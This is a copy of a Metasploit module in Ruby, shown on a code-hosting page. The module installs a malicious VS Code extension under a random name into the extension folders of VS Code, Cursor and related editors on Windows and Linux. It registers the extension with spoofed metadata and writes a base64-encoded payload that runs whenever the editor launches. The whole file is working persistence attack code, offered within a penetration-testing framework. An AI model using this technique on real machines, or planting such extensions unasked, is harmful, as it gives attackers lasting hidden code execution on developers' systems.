Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
rapid7
GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/exploits/multi/persistence/vscode_extension.rb
74550 views
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
# frozen_string_literal: true
6
7
class MetasploitModule < Msf::Exploit::Local
8
Rank = ExcellentRanking
9
10
include Msf::Post::File
11
include Msf::Post::Unix # whoami
12
include Msf::Exploit::Local::Persistence
13
prepend Msf::Exploit::Remote::AutoCheck
14
15
def initialize(info = {})
16
super(
17
update_info(
18
info,
19
'Name' => 'VS Code Extension Persistence',
20
'Description' => %q{
21
This module installs a malicious VS Code extension into the target's
22
VS Code extensions directory. The extension executes the payload each time
23
VS Code is launched, providing persistent code execution. Supports VS Code,
24
VS Code Insiders, VSCodium, VS Code Server, and Cursor.
25
26
Tested against 1.120.0 on Kali and Windows 10
27
},
28
'License' => MSF_LICENSE,
29
'Author' => [
30
'h00die',
31
],
32
'DisclosureDate' => '2015-04-29', # VS Code first public release
33
'SessionTypes' => ['shell', 'meterpreter'],
34
'Privileged' => false,
35
'References' => [
36
['URL', 'https://code.visualstudio.com/api/get-started/your-first-extension'],
37
['ATT&CK', Mitre::Attack::Technique::T1546_EVENT_TRIGGERED_EXECUTION],
38
['ATT&CK', Mitre::Attack::Technique::T1176_SOFTWARE_EXTENSIONS]
39
],
40
'Arch' => [ARCH_CMD],
41
'Platform' => %w[linux windows],
42
'Payload' => {
43
'Space' => 8191,
44
'DisableNops' => true
45
},
46
'Targets' => [
47
['Windows', { 'Platform' => 'windows' }],
48
['Linux', { 'Platform' => ['unix', 'linux'] }],
49
# ['OSX', { 'Platform' => 'osx' }] this likely works but I don't have a test environment to verify it, so leaving it out of the target list for now
50
],
51
'Notes' => {
52
'Reliability' => [REPEATABLE_SESSION],
53
'Stability' => [CRASH_SAFE],
54
'SideEffects' => [ARTIFACTS_ON_DISK, CONFIG_CHANGES]
55
},
56
'DefaultTarget' => 0
57
)
58
)
59
60
register_options([
61
OptString.new('NAME', [false, 'Name of the extension (Random if left blank)', '']),
62
OptString.new('PUBLISHER', [false, 'Publisher name for the extension (Random if left blank)', '']),
63
OptString.new('DESCRIPTION', [false, 'Description of the extension (Random if left blank)', '']),
64
OptString.new('USER', [false, 'User to target, or current user if blank', '']),
65
OptPath.new('ICON', [false, 'Local path to an icon file (PNG) to include with the extension']),
66
OptString.new('VERSION', [false, 'Extension version in major.minor.patch format', '1.0.0'])
67
])
68
deregister_options('WritableDir')
69
end
70
71
def ext_name
72
@ext_name ||= datastore['NAME'].blank? ? rand_text_alphanumeric(4..10).downcase : datastore['NAME'].downcase
73
end
74
75
def ext_publisher
76
@ext_publisher ||= datastore['PUBLISHER'].blank? ? rand_text_alpha(4..8).downcase : datastore['PUBLISHER'].downcase
77
end
78
79
def ext_version
80
@ext_version ||= begin
81
ver = datastore['VERSION'].blank? ? '1.0.0' : datastore['VERSION']
82
fail_with(Failure::BadConfig, "VERSION must be in major.minor.patch format (e.g. 1.0.0), got: #{ver}") unless ver.match?(/\A\d+\.\d+\.\d+\z/)
83
ver
84
end
85
end
86
87
def ext_dir_name
88
"#{ext_publisher}.#{ext_name}-#{ext_version}"
89
end
90
91
def package_json
92
pkg = {
93
'name' => ext_name,
94
'displayName' => ext_name,
95
'description' => datastore['DESCRIPTION'].blank? ? '' : datastore['DESCRIPTION'],
96
'version' => ext_version,
97
'publisher' => ext_publisher,
98
'engines' => { 'vscode' => '^1.0.0' },
99
'activationEvents' => ['*'],
100
'main' => './extension.js'
101
}
102
pkg['icon'] = "./#{::File.basename(datastore['ICON'])}" unless datastore['ICON'].blank?
103
pkg.to_json
104
end
105
106
def extension_js
107
template_path = ::File.join(Msf::Config.data_directory, 'exploits', 'vscode_extension', 'extension.js.template')
108
fail_with(Failure::BadConfig, "Extension template not found: #{template_path}") unless ::File.exist?(template_path)
109
110
::File.read(template_path)
111
end
112
113
def target_user
114
return datastore['USER'] unless datastore['USER'].blank?
115
116
return cmd_exec('cmd.exe /c echo %USERNAME%').strip if windows?
117
118
whoami
119
end
120
121
def windows?
122
['windows', 'win'].include?(session.platform)
123
end
124
125
# def osx?
126
# session.platform == 'osx'
127
# end
128
129
def vscode_ext_dirs
130
user = target_user
131
vprint_status("Target user: #{user}")
132
133
if windows?
134
[
135
"C:\\Users\\#{user}\\.vscode\\extensions",
136
"C:\\Users\\#{user}\\.vscode-insiders\\extensions",
137
"C:\\Users\\#{user}\\.cursor\\extensions"
138
]
139
# when 'osx' — uncomment and add 'osx' to Platform/Targets once verified on macOS
140
# [
141
# "/Users/#{user}/.vscode/extensions",
142
# "/Users/#{user}/.vscode-insiders/extensions",
143
# "/Users/#{user}/.vscode-oss/extensions",
144
# "/Users/#{user}/.cursor/extensions"
145
# ]
146
else
147
home = user == 'root' ? '/root' : "/home/#{user}"
148
[
149
"#{home}/.vscode/extensions",
150
"#{home}/.vscode-insiders/extensions",
151
"#{home}/.vscode-server/extensions",
152
"#{home}/.vscode-oss/extensions",
153
"#{home}/.cursor/extensions",
154
"#{home}/snap/code/current/.config/Code/extensions"
155
]
156
end
157
end
158
159
def check
160
vscode_ext_dirs.each do |dir|
161
next unless directory?(dir)
162
if !windows? && !writable?(dir)
163
return CheckCode::Appears("VS Code extensions directory found but not writable: #{dir}")
164
end
165
166
return CheckCode::Appears("VS Code extensions directory found: #{dir}")
167
end
168
169
CheckCode::Safe('No VS Code extensions directory found')
170
rescue StandardError => e
171
CheckCode::Unknown("Error checking for VS Code: #{e.message}")
172
end
173
174
def vscode_running?
175
if windows?
176
!cmd_exec('powershell -Command "Get-Process -Name Code* -ErrorAction SilentlyContinue"').strip.empty?
177
else
178
# The [c]ode bracket trick prevents the grep process itself from matching
179
!cmd_exec('ps -ef 2>/dev/null | grep -i "[c]ode"').strip.empty?
180
end
181
end
182
183
# VS Code URI path format for Windows: /c:/users/... (lowercase drive, forward slashes)
184
def uri_path(full_path)
185
return full_path unless windows?
186
187
'/' + full_path.gsub('\\', '/').sub(/^([A-Za-z]):/) { "#{::Regexp.last_match(1).downcase}:" }
188
end
189
190
def register_extension(ext_base, ext_dir)
191
sep = windows? ? '\\' : '/'
192
index_path = "#{ext_base}#{sep}extensions.json"
193
194
extensions = []
195
if file?(index_path)
196
print_status('Reading extensions.json...')
197
begin
198
extensions = JSON.parse(read_file(index_path))
199
# Remove any stale entry for this extension id
200
extensions.reject! { |e| e.dig('identifier', 'id')&.casecmp?("#{ext_publisher}.#{ext_name}") }
201
rescue JSON::ParserError => e
202
print_warning("Could not parse extensions.json: #{e.message} - starting fresh")
203
extensions = []
204
end
205
end
206
207
entry = {
208
'identifier' => { 'id' => "#{ext_publisher}.#{ext_name}" },
209
'version' => ext_version,
210
'location' => {
211
'$mid' => 1,
212
'fsPath' => ext_dir,
213
'path' => uri_path(ext_dir),
214
'scheme' => 'file'
215
},
216
'relativeLocation' => ext_dir_name,
217
'metadata' => {
218
'id' => SecureRandom.uuid,
219
'publisherId' => SecureRandom.uuid,
220
'publisherDisplayName' => ext_publisher,
221
'targetPlatform' => 'undefined',
222
'isPreReleaseVersion' => false,
223
'hasPreReleaseVersion' => false,
224
'installedTimestamp' => (Time.now.to_f * 1000).to_i,
225
'pinned' => false,
226
'isApplicationScoped' => false,
227
'updated' => false,
228
'preRelease' => false
229
}
230
}
231
232
extensions << entry
233
write_file(index_path, JSON.generate(extensions))
234
print_good("Registered extension in #{index_path}")
235
index_path
236
end
237
238
def install_persistence
239
print_status("Using extension: #{ext_dir_name}")
240
241
ext_base = vscode_ext_dirs.find { |dir| directory?(dir) }
242
fail_with(Failure::NotFound, 'No VS Code extensions directory found') if ext_base.nil?
243
244
print_status("Installing to: #{ext_base}")
245
246
sep = windows? ? '\\' : '/'
247
ext_dir = "#{ext_base}#{sep}#{ext_dir_name}"
248
249
unless directory?(ext_dir)
250
print_status("Creating extension directory: #{ext_dir}")
251
mkdir(ext_dir, cleanup: false)
252
end
253
254
pkg_path = "#{ext_dir}#{sep}package.json"
255
fail_with(Failure::UnexpectedReply, "Failed to write #{pkg_path}") unless write_file(pkg_path, package_json)
256
print_good("Wrote package.json to #{pkg_path}")
257
258
js_path = "#{ext_dir}#{sep}extension.js"
259
fail_with(Failure::UnexpectedReply, "Failed to write #{js_path}") unless write_file(js_path, extension_js)
260
print_good("Wrote extension.js to #{js_path}")
261
262
unless datastore['ICON'].blank?
263
icon_data = ::File.binread(datastore['ICON'])
264
fail_with(Failure::BadConfig, "ICON is not a valid PNG file: #{datastore['ICON']}") unless icon_data.b.start_with?("\x89PNG\r\n\x1a\n".b)
265
266
icon_path = "#{ext_dir}#{sep}#{::File.basename(datastore['ICON'])}"
267
fail_with(Failure::UnexpectedReply, "Failed to write #{icon_path}") unless write_file(icon_path, icon_data)
268
print_good("Wrote icon to #{icon_path}")
269
end
270
271
ext_path = "#{ext_dir}#{sep}external"
272
fail_with(Failure::UnexpectedReply, "Failed to write #{ext_path}") unless write_file(ext_path, [payload.encoded].pack('m0'))
273
print_good("Wrote payload to #{ext_path}")
274
275
register_extension(ext_base, ext_dir)
276
277
if vscode_running?
278
print_warning('VS Code is currently running - restart VS Code to activate the extension.')
279
else
280
print_status('VS Code is not running - launch it to trigger the extension.')
281
end
282
283
@clean_up_rc << "rm -rf \"#{ext_dir}\"\n"
284
end
285
end
286
287